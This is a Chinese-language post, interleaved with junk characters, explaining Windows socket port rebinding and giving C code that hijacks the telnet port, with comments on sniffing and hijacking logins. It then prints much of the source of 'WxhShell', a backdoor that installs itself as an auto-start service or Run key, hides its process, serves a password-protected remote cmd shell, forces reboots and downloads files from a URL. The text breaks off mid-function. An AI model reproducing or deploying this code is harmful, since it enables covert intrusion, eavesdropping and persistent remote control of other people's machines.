在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5c\dm s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
z5J$".O` (nwp s saddr.sin_family = AF_INET;
jdIAN OWc~=Cr saddr.sin_addr.s_addr = htonl(INADDR_ANY);
I}+9@d O+?vQ$z bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3wMnTT"At hkB|rhJgm 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
`^HK-t4q ]1 jhy2j 这意味着什么?意味着可以进行如下的攻击:
*zwo="WA\t mndKUI}d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
CB0p2WS_ fXe$Ug|5a 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
qg2Vmj<H {kghZur 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Vb)NWXmyu (]` rri*^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
20]p< ?IG[W+M8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
s o7.$]aV t,u;"%go 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
qfX26<q "QvTn= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
qP$)V3l _fccZf(yC. #include
j[A:So #include
[:zP]l.| #include
r&+w)U~ #include
c,:nWf DWORD WINAPI ClientThread(LPVOID lpParam);
81H9d6hqcD int main()
S%jW}v'; {
X"sJiF S WORD wVersionRequested;
N9s+Tm DWORD ret;
L_tjclk0J WSADATA wsaData;
\YSprXe BOOL val;
1H?I?IT30 SOCKADDR_IN saddr;
},@ex SOCKADDR_IN scaddr;
fDRG+/q(+ int err;
nkzH}F=< SOCKET s;
Qff.QI, SOCKET sc;
x!6<7s int caddsize;
vY7@1_" HANDLE mt;
c^<~Y$i DWORD tid;
]_j={0% wVersionRequested = MAKEWORD( 2, 2 );
>Q=Q%~ err = WSAStartup( wVersionRequested, &wsaData );
lL&U
ioo}D if ( err != 0 ) {
DYoGtks( printf("error!WSAStartup failed!\n");
dQz#&&s-
return -1;
(*_lLM@Cd }
LJ K0WWch saddr.sin_family = AF_INET;
{.?pl]Zl6 dvM%" k //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
phQ{<wzwp s\< @v7A saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
kE :{#>[Uz saddr.sin_port = htons(23);
OIIA^QyV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J0imWluhQ {
I1#MS4;$^ printf("error!socket failed!\n");
6FN#X g return -1;
p1\mjM }
A+j!VM val = TRUE;
B>4/[
YHr; //SO_REUSEADDR选项就是可以实现端口重绑定的
Z6-ZAS(>m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
M!D6i5k, {
gWL`J=DiU printf("error!setsockopt failed!\n");
vOLa.%X]h return -1;
5,4m_fBoW }
?\kuP ?\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
U^eos;:s8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+* j8[sz //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
rP}[> i5=~tS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@t;726 {
M~n./wyC ret=GetLastError();
1rS8+!9C printf("error!bind failed!\n");
[k0/ZfFwV return -1;
vvu $8n }
tLxeq?Oo] listen(s,2);
Wffz&pR8
while(1)
, 6Jw {
Qm=iCZ|E^! caddsize = sizeof(scaddr);
xI.0m //接受连接请求
/\;m/cwrl" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
MMUlA$*t if(sc!=INVALID_SOCKET)
BOh^oQh {
B[q"oI` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Sfa=AV7K if(mt==NULL)
1*|/N}g) {
+,]VXH<y printf("Thread Creat Failed!\n");
.lq83;
k break;
&r,)4q+ }
g~$UU(HX }
6B*#D.fd* CloseHandle(mt);
Ndmw/ae }
f$ tm<:)Y closesocket(s);
T:Ovh.$ WSACleanup();
mYj)![ return 0;
GwfC l{l }
ksCF"o/@V DWORD WINAPI ClientThread(LPVOID lpParam)
;4(}e{ {
x7Gf):,LK SOCKET ss = (SOCKET)lpParam;
ktS^^!,l% SOCKET sc;
:`Ep#[Wvo unsigned char buf[4096];
d S'J @e=# SOCKADDR_IN saddr;
z{FFTb^B long num;
2Y<]X7Ch: DWORD val;
FE]UqB DWORD ret;
rlA/eQrS //如果是隐藏端口应用的话,可以在此处加一些判断
1D38T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Mi{ns $B% saddr.sin_family = AF_INET;
?3 k_YN" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
5@-H8* saddr.sin_port = htons(23);
Yufjy=! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[3I|MZ {
c/ih%xR printf("error!socket failed!\n");
h5pfmN\-5 return -1;
rmo\UCD }
dGi
HO val = 100;
I{r*Y9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l^OflZC~ {
}r! +wp ret = GetLastError();
t=xEUOQAn return -1;
#9Jr?K43
}
n>R(e> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,lStT+A {
=<#G~8WYz ret = GetLastError();
U4^c{KWS return -1;
?Pp*BB,*y }
IVkB)9IW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pf107S {
*z)gSX printf("error!socket connect failed!\n");
,[t?$Cy; closesocket(sc);
"M!m-] closesocket(ss);
6
Bdxdx*zt return -1;
%Zbm%YaW5 }
1Y J?Y while(1)
@4D{lb"{ {
*U]&a^N //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
eBs.RR
]O //如果是嗅探内容的话,可以再此处进行内容分析和记录
7s#8-i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=JgR c7 num = recv(ss,buf,4096,0);
R ZQH#+*t} if(num>0)
1:<(Q2X% send(sc,buf,num,0);
rhy-o? else if(num==0)
} `r.fD break;
5lJL[{ num = recv(sc,buf,4096,0);
^/#G,MxNy if(num>0)
N0-J=2 send(ss,buf,num,0);
N0Y4m_dm* else if(num==0)
'QxJU$ break;
7U_ob"`JV }
VXWV Pj# closesocket(ss);
,LN^Zx* closesocket(sc);
VQ|{Q} return 0 ;
d+,!p8Q }
;nP(S`' "mQcc}8 :;yrYAyT3 ==========================================================
}O>1tauI j&_>_*.y 下边附上一个代码,,WXhSHELL
} `Ya; 7/51_=%kR ==========================================================
P1T{5u!T $x+7.%1m)~ #include "stdafx.h"
NWvIwt{ y|KQ`; #include <stdio.h>
h=gtuaR4 #include <string.h>
VOM@x% 6#c #include <windows.h>
MiIxj%,( #include <winsock2.h>
2Kz$y
JTp #include <winsvc.h>
vN\[2r%S #include <urlmon.h>
V%PQlc.X `Ucj_6&Tqs #pragma comment (lib, "Ws2_32.lib")
fc8ODk*;E #pragma comment (lib, "urlmon.lib")
k|?[EWIi^ 3&7? eO7* #define MAX_USER 100 // 最大客户端连接数
*
7Ov.v% #define BUF_SOCK 200 // sock buffer
&C+2p #define KEY_BUFF 255 // 输入 buffer
3PZ(Kn< 1h?ve,$ #define REBOOT 0 // 重启
1x;@BV
#define SHUTDOWN 1 // 关机
CYgokS\=, ZxSFElDD]E #define DEF_PORT 5000 // 监听端口
<tFq^qB 4n6AK`E #define REG_LEN 16 // 注册表键长度
=<3HOOC #define SVC_LEN 80 // NT服务名长度
b7dsi|Yo )Bn
}|6` // 从dll定义API
k}H7bZug typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
gM>?w{!LBx typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
'~K]=JP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{qi# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_7Y-gy#\a =3QhGFd // wxhshell配置信息
8`urkEI^r struct WSCFG {
ub-e! { int ws_port; // 监听端口
FEu"b@v char ws_passstr[REG_LEN]; // 口令
g/!MEOVx int ws_autoins; // 安装标记, 1=yes 0=no
UIyLtoxu char ws_regname[REG_LEN]; // 注册表键名
OxGfLeP.R! char ws_svcname[REG_LEN]; // 服务名
>fI\f <ez char ws_svcdisp[SVC_LEN]; // 服务显示名
UWC4PWL,>C char ws_svcdesc[SVC_LEN]; // 服务描述信息
>_ZEQC char ws_passmsg[SVC_LEN]; // 密码输入提示信息
p03I&d@w> int ws_downexe; // 下载执行标记, 1=yes 0=no
;Y;r%DJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
LX7P?j char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|~
fI=1;;x te-xhJ&K };
+] ;WN 6`Tx meIP // default Wxhshell configuration
FsJk"$} struct WSCFG wscfg={DEF_PORT,
3`%E;?2 "xuhuanlingzhe",
n4S`k%CI 1,
xw}yl4WT{ "Wxhshell",
v{t
pRL0 "Wxhshell",
hZ*vk "WxhShell Service",
tt?`,G.(] "Wrsky Windows CmdShell Service",
b.RU%Y#>\ "Please Input Your Password: ",
_MTZuhY 1,
f;BY%$ "
http://www.wrsky.com/wxhshell.exe",
D1Zy Js# "Wxhshell.exe"
}i"[5: };
g]: [^p cWx`y>< // 消息定义模块
y*+8Z&i.: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~9FL]qo char *msg_ws_prompt="\n\r? for help\n\r#>";
S._2..%G char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
s=(q#Z char *msg_ws_ext="\n\rExit.";
[?I<$f" char *msg_ws_end="\n\rQuit.";
HP]5"ziA char *msg_ws_boot="\n\rReboot...";
OS@uGp=
char *msg_ws_poff="\n\rShutdown...";
s2SV
char *msg_ws_down="\n\rSave to ";
y4h
=e~ $rcv@-l char *msg_ws_err="\n\rErr!";
"ymR8y' char *msg_ws_ok="\n\rOK!";
5s3QN{h8 yPtE5"(o char ExeFile[MAX_PATH];
>4luZnWMI int nUser = 0;
XN Uw HANDLE handles[MAX_USER];
Q&r.wV| int OsIsNt;
-fFtHw:kHh =hvPq@C% SERVICE_STATUS serviceStatus;
A_S7z*T SERVICE_STATUS_HANDLE hServiceStatusHandle;
gjG SI'M0B $3 -QM // 函数声明
~M^[ int Install(void);
r_$*euh@ int Uninstall(void);
WyatHC int DownloadFile(char *sURL, SOCKET wsh);
?K7uy5Y int Boot(int flag);
r6uN6XCM void HideProc(void);
"NA<^2W@J int GetOsVer(void);
XyN
" Jr int Wxhshell(SOCKET wsl);
JK<[]>O void TalkWithClient(void *cs);
<A Hzs int CmdShell(SOCKET sock);
R;Dj70g int StartFromService(void);
;LP3 int StartWxhshell(LPSTR lpCmdLine);
Wjl2S+Cc ,M{G
X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
v; i4ZSV^A VOID WINAPI NTServiceHandler( DWORD fdwControl );
lM4 Z7mT / yZNG>1N // 数据结构和表定义
BZQ}c<Nl SERVICE_TABLE_ENTRY DispatchTable[] =
(J5}1Q<K {
ugTsI~aE {wscfg.ws_svcname, NTServiceMain},
E5rV}>(Y {NULL, NULL}
fV>d_6Lf} };
YT+b{ a_P|KRl // 自我安装
ph5{i2U0 int Install(void)
N`efLOMl]
{
1!.-/ char svExeFile[MAX_PATH];
d"Zu10 HKEY key;
Oe\(=R strcpy(svExeFile,ExeFile);
*z69ti/
t tE=09J%z // 如果是win9x系统,修改注册表设为自启动
pt.V^a if(!OsIsNt) {
[nig^8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?}8r h% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i \NV<I
RegCloseKey(key);
1xS+r)_n@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:po6%}hn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;:
_K,FU RegCloseKey(key);
=U*D.p*%f return 0;
;@qS#7SRB }
>Vt2@Ee }
0ex.~S_Oj4 }
J78.-J5 j0 else {
[k%hl`} Wj,s/Yr: // 如果是NT以上系统,安装为系统服务
KHZ[drb6$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
d]s^?=gM if (schSCManager!=0)
asYk#;z\" {
~)_Nh SC_HANDLE schService = CreateService
lj}3TbM (
y*^UGJC: schSCManager,
}#D=Rf?2\P wscfg.ws_svcname,
kQbZ!yl>[ wscfg.ws_svcdisp,
}ZVond$y4 SERVICE_ALL_ACCESS,
b)'CP Cu* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{DP9^hg SERVICE_AUTO_START,
WlQCP C SERVICE_ERROR_NORMAL,
@;OsHudd svExeFile,
1Zc=QJw@ NULL,
^,I2@OS NULL,
'k\j[fk/K NULL,
%r1#G.2YW NULL,
oH6zlmqG" NULL
ZH\t0YhrVe );
(4 ZeyG@ if (schService!=0)
:lo5,B;k {
lFt! CloseServiceHandle(schService);
xk~gGT& CloseServiceHandle(schSCManager);
}p6]az3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(K=0c6M3= strcat(svExeFile,wscfg.ws_svcname);
aXj
UDu7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
fB9,#
F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
&v .S_Ym RegCloseKey(key);
X,VI5$ return 0;
nm#23@uZ4K }
WRu(F54Sk }
9R8q+2
CloseServiceHandle(schSCManager);
0,RYO :` }
5@>hjXi"Y }
r2\%/9uO r]cq|Nv8: return 1;
hOk9 y= }
Rw0|q <J+Oh\8tad // 自我卸载
lgiKNZgB? int Uninstall(void)
CA igV$ {
UAXp;W` HKEY key;
0>CG2 SRn [ K/l;Zd if(!OsIsNt) {
C <:g"F:k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lfM vNv RegDeleteValue(key,wscfg.ws_regname);
KDEyVYO: RegCloseKey(key);
n~yHt/T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
QxW+|Gt._ RegDeleteValue(key,wscfg.ws_regname);
}O~D3z4l0 RegCloseKey(key);
q]: 72+ return 0;
sG#O s }
n+sv2Wv: }
z8a{M$-Q }
.B~yI3D`M else {
Wo&22,EB +I5\`By= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
X8Z) W?vu if (schSCManager!=0)
]'xci"qV` {
C2rG3X^~Jm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
S\N l|U[ if (schService!=0)
%!Eh9C* {
d)uuA;n if(DeleteService(schService)!=0) {
ZVH 9je CloseServiceHandle(schService);
wwdmz;0S CloseServiceHandle(schSCManager);
P<R^eLZ<& return 0;
DI8I'c-P }
f91]0B`C CloseServiceHandle(schService);
>mA]2gV<a }
Y<W9LF CloseServiceHandle(schSCManager);
Bv~^keuj3t }
,X_3#!y }
Te}gmt+#% 16Ka>=G return 1;
$=\=80u/ }
$rj:K)P 2i6=g< // 从指定url下载文件
#0r^<Yn int DownloadFile(char *sURL, SOCKET wsh)
{'zS8 {
)XonFI HRESULT hr;
r&R~a9+) char seps[]= "/";
)R
`d x char *token;
83vZRQw char *file;
>b\|%=(x!* char myURL[MAX_PATH];
v0)
%S char myFILE[MAX_PATH];
E!}'cxb^ g0biw? strcpy(myURL,sURL);
o0No"8DnjH token=strtok(myURL,seps);
l,Q`;v5| while(token!=NULL)
31^/9lb
{
fIpS
P@$< file=token;
+arh/pd_I token=strtok(NULL,seps);
j7_,V?5z }
:K~@JlJd R-pON4D"* GetCurrentDirectory(MAX_PATH,myFILE);
1d49&-N strcat(myFILE, "\\");
<FkaH8,7 strcat(myFILE, file);
n5~Dxk send(wsh,myFILE,strlen(myFILE),0);
PYi<iSr send(wsh,"...",3,0);
,s%+vD$O^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
T$MXsq if(hr==S_OK)
phb
;D return 0;
)OQm,5F1 else
J ##a;6@ return 1;
Y_]y :H h/C{ }
AUF[hzA do^=Oq07$ // 系统电源模块
c[M4l int Boot(int flag)
th*!EFA^o {
Yqh-U%"' HANDLE hToken;
+~F>:v?Rh TOKEN_PRIVILEGES tkp;
DHn\ =M w ;$elXP| if(OsIsNt) {
dAG@'A\f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a {7*um LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+ rB3\R"d tkp.PrivilegeCount = 1;
tC1'IE-h tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
%Jl6e}! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>N!
Xey if(flag==REBOOT) {
E5S(1Z}]p{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0K"+u9D^ return 0;
~,s'- }
&0*l:uw else {
)<J #RgE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3?aM\z; return 0;
P)y2'JKL }
}duqX R }
arKf9`9 else {
M3KK^YRN if(flag==REBOOT) {
-+qg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
BuM#&]s return 0;
0*P-/)o x }
gmTBp}3 else {
,^
-%< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~,F]~|U7l return 0;
C-49u<;, }
gYho$E }
2 PPb C4X3;l Z%S return 1;
+{6:] }
Z1W%fT VZamR}x // win9x进程隐藏模块
dXn$XGF%R void HideProc(void)
8M3DG=D {
yp]vDm Z 5 .cfI[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
nmL|v if ( hKernel != NULL )
6U|"d[ {
MftaT5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ZrP
8/> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
B[&l<*O-y FreeLibrary(hKernel);
yIpgZ0:h }
#Sy~t{4 i%f
C`@ return;
_{LmJ?! }
7]5+%[Dg! ~PpU'[ // 获取操作系统版本
!:vQg+S int GetOsVer(void)
"_dJ4<8 {
4u2_xbT OSVERSIONINFO winfo;
#EKnjh=Uq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
e=jtF"& GetVersionEx(&winfo);
qoph#\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
fk2Uxg=[ return 1;
C_[
d else
?<0'h{z Ny return 0;
3M^`6W[; }
ze+S_{ =fy.'+ // 客户端句柄模块
]t17= Lr? int Wxhshell(SOCKET wsl)
1G(wESe {
2,|@a\H SOCKET wsh;
G'HLnx}Yi struct sockaddr_in client;
GXv2B%i8 DWORD myID;
h52+f Pa; *%7 while(nUser<MAX_USER)
/'v!{m {
`x L@% int nSize=sizeof(client);
yYaYuf wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)zP"Uuu if(wsh==INVALID_SOCKET) return 1;
L^s?EqLXS F')E)tV handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\"yR[.Q?
if(handles[nUser]==0)
T sJ71 closesocket(wsh);
O9N%dir else
S]&i<V1qX nUser++;
f .h$jyp( }
x41 t=E]( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"1P2`Ep; _ -ec(w~/ return 0;
(d
<pxx }
-%VFC^'5 k]TJL9Q // 关闭 socket
(Zy=e?E, void CloseIt(SOCKET wsh)
hL;??h,!_ {
m|Z[8Tup closesocket(wsh);
zcEpywNP nUser--;
T(q Hi?Y ExitThread(0);
(ke<^sv7! }
Uzn eLyIQo W // 客户端请求句柄
wDh&S{N void TalkWithClient(void *cs)
w6B`_Z'f {
iVqF]2> a}Jy o!. SOCKET wsh=(SOCKET)cs;
KA`)dMWL char pwd[SVC_LEN];
wp/x|AV char cmd[KEY_BUFF];
P}PMRAek char chr[1];
)fT0FLl|1 int i,j;
q 7+ |U%!9 yg4ILL while (nUser < MAX_USER) {
G_5NS<JE"S +A_jm!tJS( if(wscfg.ws_passstr) {
1@<>GDB9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
B7'2@+( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mvtuV` //ZeroMemory(pwd,KEY_BUFF);
}4>#s$.2 i=0;
Z\$!: while(i<SVC_LEN) {
4T<dI6I0 |@ZyD$? // 设置超时
jm|zn fd_set FdRead;
Rn whkb&& struct timeval TimeOut;
y+VRD FD_ZERO(&FdRead);
k#@)gL FD_SET(wsh,&FdRead);
%bnjK#o"Q TimeOut.tv_sec=8;
;u%4K$ TimeOut.tv_usec=0;
qSVg.<+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`,wX&@sN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
l%xeM!} klj.\wg/p{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Au?(_*/0 pwd
=chr[0]; Yr:$)ap
if(chr[0]==0xd || chr[0]==0xa) { *-_joAWTG
pwd=0; IG@@CH
break; (b1rd
} RKz _GEH)
i++; ~H gN'#Y?
} 0k|/]zfb
*;(GL
// 如果是非法用户,关闭 socket v\COl*
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xm<sH!,j
} uFi[50
y\[GS2nTX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a% 82I::t
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &sPu3.p
Hkj|
e6
while(1) { O`(it%Ho!
f]^ @z<FC
ZeroMemory(cmd,KEY_BUFF); gq?~*4H
>z8y L+
// 自动支持客户端 telnet标准 }(if|skau
j=0; E{|n\|
while(j<KEY_BUFF) { +Sdki::
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $U5$*R@jo[
cmd[j]=chr[0]; X1h*.reFAL
if(chr[0]==0xa || chr[0]==0xd) { v{>9&o.J
cmd[j]=0; $S!WW|9j.
break; #*K!@X
} X<$8'/p r
j++; : ]JsUb{YK
} 27jZ~Bp$
0 :1ldU
4
// 下载文件 12%4>2}~>
if(strstr(cmd,"http://")) { ol8uV{:"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); jLf8 7
if(DownloadFile(cmd,wsh)) 15~+Ga4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r;aP`MVO<
else o!t1EPJE*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -wV0Nv(V8
} 38q0iAH
else { 'r?OzFtxh
g7W\
&
switch(cmd[0]) { I*)eP||
ma4r/8Q
// 帮助 gbRdng7(}
case '?': {
/-)|dP
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -`ykVHgg
break; -Qco4>Z 8
} |k9A*7I
// 安装 s97L/iH
case 'i': { _`Sz}Yk
if(Install()) #3u471bp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -x1O|q69
else 7QkAr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;R?9|:7
break; |tS~\_O/
} cB[.ET$
// 卸载 4)nQBFX
case 'r': { dQL!
>6a
if(Uninstall()) S$I:rbc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ETVT.R8
else >taZw'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xR;-qSl7Ms
break; Swz1RT
} 5Gsj;
// 显示 wxhshell 所在路径 0Z{(,GU
case 'p': { QcQ|,lA.HI
char svExeFile[MAX_PATH]; ;EfMTI}6K
strcpy(svExeFile,"\n\r"); KPA5 X]
strcat(svExeFile,ExeFile); b511qc"i>M
send(wsh,svExeFile,strlen(svExeFile),0); 57b;{kl
break; VI`x
fmVOQ
} way-Q7
// 重启 X_eV<]zA+
case 'b': { |"Oazll
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zb#
if(Boot(REBOOT)) \:?H_^^d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G1'w50Yu
else { a[8_O-
closesocket(wsh); @]h#T4z'
ExitThread(0); AH],>i3
}
*H
RxC
break; @*O(dw
} uL4@e
// 关机 4.dMNqU
case 'd': { jWW2&cBm\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p8^^Pva/
if(Boot(SHUTDOWN)) KXFa<^\o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !<2*B^
else { ':w6{b
closesocket(wsh); n%<.,(.(S
ExitThread(0); zj;y`ENj
} F<w/@.&m
break; &,&oTd.
} a~~ "2LE`
// 获取shell /aJl0GL4!
case 's': { ,O(XNA(C
CmdShell(wsh); U%45qCU
closesocket(wsh); 8`qw1dF
ExitThread(0); %GS)9{T&
break; UrxgKTry
} &/, BFx"
// 退出 cY>;( x@
case 'x': { Ec6{?\
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %3VwCuE
CloseIt(wsh); [*>@hx
break; RGtUKr'
} ^j=_=Km]
// 离开 r/O(EW#=8
case 'q': { tY:-13F
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9AL\6@<a*
closesocket(wsh); )-a_,3x%j
WSACleanup(); C>;yW7*g"
exit(1); >8tE`2[i*
break; &:jE+l
} nw5#/5xw
} oaBfq8,;
} 8a)EL*LH`
ESASsRzk
// 提示信息 $@&bK2@.(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ($W9
?
} ccm <rZ7
} "ej>1{3Y:=
uR)@v^$FE
return; ]-fZeyY$
} V`WfJ>{;Z
Z gU;=.
// shell模块句柄 s/To|9D
int CmdShell(SOCKET sock) FJL9x,%6
{ sfrh+o57
STARTUPINFO si; 6y5arP*6e
ZeroMemory(&si,sizeof(si)); {2:H`|x
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m&A/IW,.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |k+&weuY
PROCESS_INFORMATION ProcessInfo; T8hQ< \g
char cmdline[]="cmd"; BkqIfV%O
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E>6zwp
return 0; 4
|5ekwk
} oG*lUh}
Iwn@%?7
// 自身启动模式 MB |(,{S
int StartFromService(void) Ol%*3To
{ t583Q/1@
typedef struct "?9fL#8f*!
{ Zz3#Kt5t3
DWORD ExitStatus; Vd1K{rH#
DWORD PebBaseAddress;
y?unI~4tC
DWORD AffinityMask; 7T2W%JT-,
DWORD BasePriority; "+Qh,fTt
ULONG UniqueProcessId; MK[spV
